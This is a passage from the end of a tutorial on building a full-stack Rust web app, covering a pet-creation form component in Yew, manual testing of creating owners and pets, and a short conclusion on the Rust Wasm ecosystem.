                    <div>
                        <input type="text" value={self.state_color.clone()} oninput={edit_color} />
                    </div>
                    <div>
                        <button onclick=self.link.callback(move |_| Msg::MakeReq(owner_id))>{"Submit"}</button>
                    </div>
                </div>
            }
        }
    }

Let’s start with the render_form function in CreateForm. Here, we again create input fields for all the pet’s fields. However, this time with a twist: we use a select field for the animal type, since we want to limit it to cats and dogs.

That means, for the callback handler of edit_animal_type, we get a ChangeData instead of an InputData. Inside it, we need to match on the type of change. We only want to react on ChangeData::Select(elem) and take the element’s value, sending it over to be set in our component state.

For the other two fields, the process is the same as in our Create Owner component.

In terms of the Component implementation, there isn’t really anything new here, either. We implement the handler for calling the create pet endpoint on our backend and the handlers for passing the form input field values to our state, so we can create the payload for this endpoint.

With this last component out of the way, our Rust full-stack web app implementation is complete! The only thing left is to test that it actually works.

Testing our Rust full-stack app

We can run both the frontend and the backend with a Postgres database running on port 7878 (navigate to http://localhost:8080).

There, we’re greeted by an empty Home screen. We can click Create New Owner, which shows us the form:

Submitting will create the owner, which we’ll see in the list back at Home:

Next, let’s click on the new owner to see the owner detail page:

Now we can start adding some pets using Create New Pet:

Once we’re done, we’re redirected back to the Owner Detail page, which shows us our newly added list of pets:

Finally, we can try to delete a pet by clicking the Delete button next to it:

Fantastic; it works! And all of it written in Rust.

You can find the full code for this example on GitHub.

Conclusion

In this tutorial, we demonstrated how to build a simple full-stack web application fully in Rust. We covered how to create a multimodule workspace using Cargo and how to share code between the frontend and backend parts of the application.

Thus Rust web ecosystem is still maturing, so it’s quite impressive that you can already build modern full-stack web apps with too much fuzz.

I’m excited to see how the Wasm journey continues and I’m very much looking forward to seeing the Rust async web ecosystem develop even further, with improved stability, compatibility, and richness in libraries.

In any case, the future of web development in Rust looks promising!